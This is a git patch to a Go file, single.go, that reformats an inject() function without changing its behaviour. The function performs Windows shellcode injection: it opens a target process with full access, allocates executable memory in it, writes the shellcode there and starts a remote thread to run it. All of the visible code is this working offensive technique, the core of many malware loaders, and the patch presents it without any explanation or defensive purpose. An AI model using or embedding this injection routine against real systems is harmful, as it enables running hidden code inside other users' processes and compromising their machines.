From 289cb7ff28ec456131c1eeb193b2229e277c35fb Mon Sep 17 00:00:00 2001 From: s1egesystems <51238001+s1egesystems@users.noreply.github.com> Date: Tue, 7 Jul 2020 03:26:54 +0000 Subject: [PATCH] Update single.go --- single.go | 24 ++++++++++++++++++++---- 1 file changed, 20 insertions(+), 4 deletions(-) diff --git a/single.go b/single.go index acd3ddc..f3f2788 100644 --- a/single.go +++ b/single.go @@ -65,10 +65,26 @@ func inject(shellcode []byte, pid uint32) { closehandle := kernel32.MustFindProc("CloseHandle") // inject & execute shellcode in target process' space - processHandle, _, _ := openproc.Call(PROCESS_ALL_ACCESS, 0, uintptr(pid)) - remote_buf, _, _ := vallocex.Call(processHandle, 0, uintptr(len(shellcode)), MEM_COMMIT, PAGE_EXECUTE_READWRITE) - writeprocmem.Call(processHandle, remote_buf, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), 0) - createremthread.Call(processHandle, 0, 0, remote_buf, 0, 0, 0) + processHandle, _, _ := openproc.Call(PROCESS_ALL_ACCESS, + 0, + uintptr(pid)) + remote_buf, _, _ := vallocex.Call(processHandle, + 0, + uintptr(len(shellcode)), + MEM_COMMIT, + PAGE_EXECUTE_READWRITE) + writeprocmem.Call(processHandle, + remote_buf, + uintptr(unsafe.Pointer(&shellcode[0])), + uintptr(len(shellcode)), + 0) + createremthread.Call(processHandle, + 0, + 0, + remote_buf, + 0, + 0, + 0) closehandle.Call(processHandle) }